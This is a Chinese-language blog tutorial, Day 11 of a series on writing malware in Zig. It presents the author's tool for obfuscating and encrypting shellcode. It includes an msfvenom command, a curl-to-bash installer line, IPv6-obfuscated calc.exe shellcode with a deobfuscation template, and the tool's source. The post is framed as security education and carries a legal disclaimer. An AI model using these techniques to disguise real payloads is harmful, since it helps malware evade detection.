iT邦幫忙

2025 iThome 鐵人賽

DAY 11
1
Security

Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!系列 第 11

Day11 - 綠鬣蜥軍團實戰演練:惡意 Payload 混淆加密啟動器

  • 分享至 

  • xImage
  •  

走在時代前沿的前言

嗨大家!歡迎大家來到第 11 天的內容,恭喜我們度過了 10 天大關!

前天和昨天我們介紹了很多關於 Payload 的加密和混淆的手法,那在今天我們就會使用這些加密和混淆的手法,去實作一個幫助 Payload 加密和混淆的 CLI 工具啦!

那我們廢話不多說,開始囉!

疊甲

中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」

本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!

Zig 版本

本系列文章中使用的 Zig 版本號為 0.14.1。

ZYPE 介紹

你一定很好奇,ZYPE 是什麼呢?沒錯,就是我們今天要做的工具啦!這個東西其實是我之前就寫好了並開源放在 GitHub 上的,歡迎大家點進來這裡按星星。

那我先來介紹一下這個工具的使用方式吧!一開始,我們可以先用 MSFvenom 幫我們產生一個 Shellcode,等等會用來加密或混淆。這邊我們先產生一個用來在 Windows 上彈小算盤的 Shellcode。

msfvenom -p windows/exec CMD=calc.exe -f raw -o shellcode.bin

完成後,我們來安裝一下 ZYPE 工具。由於我的自動安裝腳本目前只有準備 Linux 的,所以如果是其他平台可能要手動自己編譯一下。不過應該大家都是用 Kali 裡面內建的 MSFvenom,那就可以直接跑下面的腳本自動安裝工具。

bash <(curl -sSL https://raw.githubusercontent.com/CX330Blake/zype/main/install.sh)

安裝完成後,應該會看到類似這樣的畫面。

ZYPE Installed

如果有看到類似的畫面,那就代表安裝成功啦!接下來我們就可以直接開始使用了,我們可以用這個命令來產生一個 IPv6 的混淆的 Payload,甚至可以直接輸出成 Zig 模板的形式。

zype -f shellcode.bin -m ipv6 > shellcode.zig

這邊的 -f 代表指定檔案為 shellcode.bin,而 -m 代表指定方法為 IPv6 混淆。這個命令列的參數用法都可以使用 -h 來開啟幫助介面。混淆過後的 shellcode.zig 會長得像這樣:

const std = @import("std");
const net = std.net;

const IPV6_ARRAY: [13][]const u8 = [_][]const u8{
    "fce8:8200:0000:6089:e531:c064:8b50:308b",
    "520c:8b52:148b:7228:0fb7:4a26:31ff:ac3c",
    "617c:022c:20c1:cf0d:01c7:e2f2:5257:8b52",
    "108b:4a3c:8b4c:1178:e348:01d1:518b:5920",
    "01d3:8b49:18e3:3a49:8b34:8b01:d631:ffac",
    "c1cf:0d01:c738:e075:f603:7df8:3b7d:2475",
    "e458:8b58:2401:d366:8b0c:4b8b:581c:01d3",
    "8b04:8b01:d089:4424:245b:5b61:595a:51ff",
    "e05f:5f5a:8b12:eb8d:5d6a:018d:85b2:0000",
    "0050:6831:8b6f:87ff:d5bb:f0b5:a256:68a6",
    "95bd:9dff:d53c:067c:0a80:fbe0:7505:bb47",
    "1372:6f6a:0053:ffd5:6361:6c63:2e65:7865",
    "0000:0000:0000:0000:0000:0000:0000:0000"
};
const NUMBER_OF_ELEMENTS: usize = 13;

fn ipv6Deobfuscation(ipv6_array: []const []const u8, allocator: std.mem.Allocator) ![]u8 {
    var buffer = try allocator.alloc(u8, ipv6_array.len * 16);
    var offset: usize = 0;

    for (ipv6_array) |ip| {
        const addr = net.Address.parseIp6(ip, 0) catch return error.InvalidIpFormat;
        const ip_bytes = @as([16]u8, @bitCast(addr.in6.sa.addr));
        @memcpy(buffer[offset..offset + 16], &ip_bytes);
        offset += 16;
    }

    return buffer;
}

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();

    const shellcode = try ipv6Deobfuscation(&IPV6_ARRAY, allocator);
    defer allocator.free(shellcode);
    std.debug.print("Decrypted shellcode length: {}\n", .{shellcode.len});
    std.debug.print("Decrypted shellcode: {any}\n", .{shellcode});
}

可以看到,它會很貼心的幫你附上一個完整的程式碼幫你做完解混淆或是解密的流程,並提供一個函數給你直接呼叫。如此一來,等於是提供了一個最小模板,在後續的惡意程式開發中,我們就只需要去呼叫解密或解混淆的函數,就可以獲得還原後的 Payload 了。

除了使用命令的方式執行,它還提供了一種互動式的使用者介面。我們可以用 zype -i 或是 zype --interactive 進入,看起來會像是這樣:

ZYPE Interactive Mode

有興趣玩玩看的可以先去安裝來用,那我們就開始正式的環節囉!由於加密跟混淆的部分前兩天都已經講過了,我這邊會著重在整個專案的架構跟一些之前沒講過的,例如引數讀取、文件輸入等等。

檔案結構

我們先來看一下這個專案的檔案結構吧。

❯ tree src
src
├── encryption
│   ├── encryptor.zig
│   └── key_generator.zig
├── io
│   ├── input.zig
│   └── output.zig
├── main.zig
├── obfuscation
│   └── obfuscator.zig
└── root.zig

因為所有的程式都是寫在 src 目錄中的,所以這邊就列出 src 的結構。然後這個 encryptionobfuscation 這兩個資料夾裡面的檔案都只是為了加密和混淆,這些程式會被 main.zig 或是其他檔案給呼叫。由於加密和混淆的部分在前兩天已經詳細解釋過了,這邊我們就先跳過,把重點放在其他的程式碼上。

取得命令行引數

Zig 的生態系中有一些已經包裝完成的函式庫用來提供更方便的命令行引數獲取(像是 zig-clap),但是由於這個工具的引數不是很多,因此就自己實作了引數解析的部分。我們看看程式碼:

    const args = try std.process.argsAlloc(std.heap.page_allocator);
    defer std.process.argsFree(std.heap.page_allocator, args);

    if (args.len < 2) {
        try output.printUsage();
        return;
    }

    var i: usize = 1;
    var method_str: ?[]const u8 = null;
    var file_path: ?[]const u8 = null;

    while (i < args.len) : (i += 1) {
        const arg = args[i];

        if (std.mem.eql(u8, arg, "-i") or std.mem.eql(u8, arg, "--interactive")) {
            try interactive();
            return;
        } else if (std.mem.eql(u8, arg, "-h") or std.mem.eql(u8, arg, "--help")) {
            try output.printUsage();
            return;
        } else if (std.mem.eql(u8, arg, "-v") or std.mem.eql(u8, arg, "--version")) {
            try output.printVersion();
            return;
        } else if (std.mem.eql(u8, arg, "-m") or std.mem.eql(u8, arg, "--method")) {
            if (i + 1 < args.len) {
                i += 1;
                method_str = args[i];
            } else {
                try output.printError("Error: -m/--method requires a method name\n", .{});
                return;
            }
        } else if (std.mem.eql(u8, arg, "-f") or std.mem.eql(u8, arg, "--file")) {
            if (i + 1 < args.len) {
                i += 1;
                file_path = args[i];
            } else {
                try output.printError("Error: -f/--file requires a file path\n", .{});
                return;
            }
        } else {
            try output.printError("Unknown option: {s}\n", .{arg});
            return;
        }
    }

一開始,我們會先去獲取目前的命令行引數整坨複製成 [][:0]u8 的切片陣列,然後使用 defer 關鍵字在函數返回的時候自動釋放 args 避免記憶體洩漏(Memory leak)。

接著會去判斷是否有帶引數,如果沒有就直接結束並打印正確的使用方法。然後會宣告兩個變數 method_strfile_path 去獲取對應的值。在迴圈中迭代引數的清單並比較各個不同的 Case。

主要來說這個函式就是這樣,沒有做什麼花裡胡哨的。

獲取輸入

input.zig 中我們匯出了 3 個公開的函數給 main.zig 調用,這 3 個函數主要是為了輔助獲取互動模式中的用戶輸入,其中兩個是用來讀取用戶的輸入的加密或混淆方法,而另一個則是用來讀取輸入的 Shellcode 文件,也是最為重要的一個。我們先來看一下他的程式碼。

pub fn readFile(allocator: std.mem.Allocator) !?[]u8 {
    // Prompt user for shellcode file path
    try output.printInfo("Enter shellcode file path: ", .{});

    // Read file path from user input
    var buffer: [512]u8 = undefined;
    if (try stdin.readUntilDelimiterOrEof(&buffer, '\n')) |input| {
        const trimmed_path = std.mem.trim(u8, input, " \t\n\r");

        if (trimmed_path.len == 0) {
            try output.printError("Error: Empty path provided\n", .{});
            return null;
        }

        // Try to read the file
        const shellcode = std.fs.cwd().readFileAlloc(allocator, trimmed_path, 10 * 1024 * 1024) catch |err| {
            switch (err) {
                error.FileNotFound => {
                    try output.printError("Error: File not found: {s}\n", .{trimmed_path});
                },
                error.AccessDenied => {
                    try output.printError("Error: Access denied: {s}\n", .{trimmed_path});
                },
                error.IsDir => {
                    try output.printError("Error: Path is a directory: {s}\n", .{trimmed_path});
                },
                error.FileTooBig => {
                    try output.printError("Error: File too large (max 10MB): {s}\n", .{trimmed_path});
                },
                else => {
                    try output.printError("Error: Cannot read file: {s} - {}\n", .{ trimmed_path, err });
                },
            }
            return null;
        };

        if (shellcode.len == 0) {
            try output.printInfo("Warning: File is empty: {s}\n", .{trimmed_path});
            allocator.free(shellcode);
            return null;
        }

        return shellcode;
    }

    return null;
}

函數一開始會開一個 Buffer 去接收使用者的輸入,然後用 readUntilDelimiterOrEof 去一直讀取輸入直到換行符。接著用 std.mem.trim 去把空格、Tab、換行等等的東西都給去除掉,得到 trimmed_path

有了路徑之後,再去用 std.fs.cwd().readFileAlloc 去嘗試讀取檔案並把內容用提供的 allocator 分配到 shellcode 上,中間使用了 switch 去匹配多種錯誤以提供使用者在遇到錯誤時的解決方法。最後當這坨都結束之後再把 shellcode 回傳。

主要函數

最後呢,main.zig 其實就只是把所有東西給組裝在一起,在獲取完使用者輸入之後去調用相對應的加密或混淆函數來把東西給搞一搞。然後 output.zig 就是用來輸出那些 Zig 的語法相關的內容,內容就是繁瑣而已但也沒什麼值得講的。

不過有個比較值得一提的是,因為需要傳遞加密或混淆的方法,然後針對不同的加密法還有不同的設置和金鑰,因此在 encryptor.zig 中我提供了一個結構體以便於模組之間的呼叫和傳遞。它具體來說長下面這個樣子:

pub const Methods = union(enum) {
    aes: AESConfig,
    xor: NormalEncryptionConfig,
    rc4: NormalEncryptionConfig,
    ipv4: ObfuscationConfig,
    ipv6: ObfuscationConfig,
    mac: ObfuscationConfig,
    uuid: ObfuscationConfig,
};

const AESConfig = struct {
    shellcode: []const u8,
    key: []const u8,
    iv: []const u8,
};

const NormalEncryptionConfig = struct {
    shellcode: []const u8,
    key: []const u8,
};

const ObfuscationConfig = struct {
    shellcode: []const u8,
};

由於 AES 加密和其他加密不同,除了金藥之外還需要一個 IV,因此有一個 AES 專門的設置。這個 Methods 結構體中定義了 7 種不同的加密或混淆的方法,每個的型別也都是對應的需要的設定,如此一來,在 main.zig 中就可以很方便地通過這個結構體去和加密與混淆的模組溝通了。

鐵人賽期 PoPoo,你今天轉 Po 了嗎?

不知道大家讀到現在,有沒有感覺 Zig 的可讀性很高,而且寫起來的過程很有趣呢?今天跟大家一起做了一個小小專案,那來預告一下明天可能會是什麼主題吧。明天的話應該會來看一下 Windows 上的一個進程長什麼樣,會有什麼酷酷的結構等等的,那就敬請期待啦!

如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!


上一篇
Day10 - 神出鬼沒的幻影綠鬣蜥:Payload 的加密與混淆(下)
系列文
Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!11
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言